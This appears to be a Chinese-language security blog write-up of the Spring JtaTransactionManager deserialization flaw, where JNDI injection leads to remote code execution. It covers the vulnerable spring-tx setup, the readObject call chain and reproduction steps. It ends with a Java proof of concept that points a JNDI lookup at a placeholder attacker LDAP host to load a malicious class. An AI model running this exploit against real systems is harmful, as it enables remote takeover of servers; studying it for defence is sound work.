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Spring JtaTransactionManager 反序列化漏洞

该漏洞存在于spring-tx.jar包的org.springframework.transaction.jta.JtaTransactionManager类,该类实现了Java Transaction API,主要功能是处理分布式的事务管理,其重写了readObject方法,导致反序列化时该类时产生JNDI注入的问题从而RCE。但并不是spring最基本的包,默认不使用,所以并不是所有使用了spring框架的应用都受影响,需要具体检查是否包含了spring-tx.jar包

环境搭建

通过maven下载相应的jar包即可

pom.xml

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<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-tx</artifactId>
<version>3.1.0.RELEASE</version>
</dependency>

<dependency>
<groupId>javax.transaction</groupId>
<artifactId>jta</artifactId>
<version>1.1</version>
</dependency>

漏洞分析

org.springframework.transaction.jta.JtaTransactionManager#readObject

image-20200414103005813

org.springframework.transaction.jta.JtaTransactionManager#initUserTransactionAndTransactionManager

image-20200414103027298

org.springframework.transaction.jta.JtaTransactionManager#lookupUserTransaction

image-20200414103115405

当前代码是IDEA反编译得来的,下载源码后,该方法介绍为

Look up the JTA UserTransaction in JNDI via the configured name.

image-20200414103252512

继续跟进也会发现其实就是封装了JNDI的操作

org.springframework.jndi.JndiTemplate#lookup(java.lang.String)

image-20200414104000058

org.springframework.jndi.JndiTemplate#createInitialContext

image-20200414104026444

而lookup的参数userTransactionName也是可控的,那么漏洞就很显然了

漏洞复现

首先编译恶意类放于WEB服务中

image-20200414105118218

借助marshalsec启动ldap服务并设置恶意类地址

image-20200414105225641

最后模拟漏洞触发场景,构造恶意类并反序列化

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import org.springframework.transaction.jta.JtaTransactionManager;
import java.io.*;

public class Test {
public static void main(String[] args) throws Exception {
JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
jtaTransactionManager.setUserTransactionName("ldap://x.x.x.x:6666/xxx");

unserialize(serialize(jtaTransactionManager));
}

public static byte[] serialize(final Object obj) throws Exception {
ByteArrayOutputStream btout = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(btout);
objOut.writeObject(obj);
return btout.toByteArray();
}
public static Object unserialize(final byte[] serialized) throws Exception {
ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
ObjectInputStream objIn = new ObjectInputStream(btin);
return objIn.readObject();
}

}

参考

Spring framework deserialization RCE漏洞分析以及利用